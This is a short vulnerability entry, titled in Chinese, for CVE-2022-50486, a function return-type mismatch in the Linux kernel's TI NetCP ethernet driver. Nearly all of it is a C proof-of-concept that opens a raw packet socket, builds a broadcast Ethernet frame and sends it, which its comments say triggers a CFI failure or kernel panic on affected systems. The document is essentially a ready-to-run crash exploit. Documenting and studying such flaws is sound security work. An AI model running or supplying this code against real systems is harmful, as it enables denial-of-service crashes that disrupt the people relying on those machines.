CVE-2022-50486 Linux内核TI以太网驱动函数返回类型不匹配漏洞

/* PoC for CVE-2022-50486 - Trigger netcp_ndo_start_xmit() to cause CFI failure * This PoC demonstrates how to trigger the vulnerability by sending packets * through a TI NetCP network interface when CONFIG_CFI_CLANG is enabled. * * Note: Requires a system with TI NetCP ethernet driver loaded and CFI enabled. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/if_packet.h> #define INTERFACE_NAME "eth0" /* TI NetCP interface name */ int main(int argc, char *argv[]) { int sockfd; struct ifreq ifr; struct sockaddr_ll addr; char buffer[64]; /* Create a raw socket to send packets */ sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("socket creation failed"); return 1; } /* Get interface index for the TI NetCP device */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, INTERFACE_NAME, IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &ifr) < 0) { perror("ioctl SIOCGIFINDEX failed"); close(sockfd); return 1; } /* Set up the socket address structure */ memset(&addr, 0, sizeof(addr)); addr.sll_family = AF_PACKET; addr.sll_protocol = htons(ETH_P_ALL); addr.sll_ifindex = ifr.ifr_ifindex; addr.sll_halen = ETH_ALEN; /* Bind to the interface */ if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed"); close(sockfd); return 1; } /* Prepare a minimal ethernet frame to trigger transmission */ memset(buffer, 0, sizeof(buffer)); /* Destination MAC */ buffer[0] = 0xff; buffer[1] = 0xff; buffer[2] = 0xff; buffer[3] = 0xff; buffer[4] = 0xff; buffer[5] = 0xff; /* Source MAC */ buffer[6] = 0x00; buffer[7] = 0x01; buffer[8] = 0x02; buffer[9] = 0x03; buffer[10] = 0x04; buffer[11] = 0x05; /* EtherType */ buffer[12] = 0x08; buffer[13] = 0x00; printf("Sending packet through %s to trigger ndo_start_xmit...\n", INTERFACE_NAME); /* Send the packet - this will invoke netcp_ndo_start_xmit() */ /* With CFI enabled, this triggers a kernel panic due to type mismatch */ if (send(sockfd, buffer, sizeof(buffer), 0) < 0) { perror("send failed"); } printf("Packet sent. Check kernel logs for CFI violation or panic.\n"); close(sockfd); return 0; }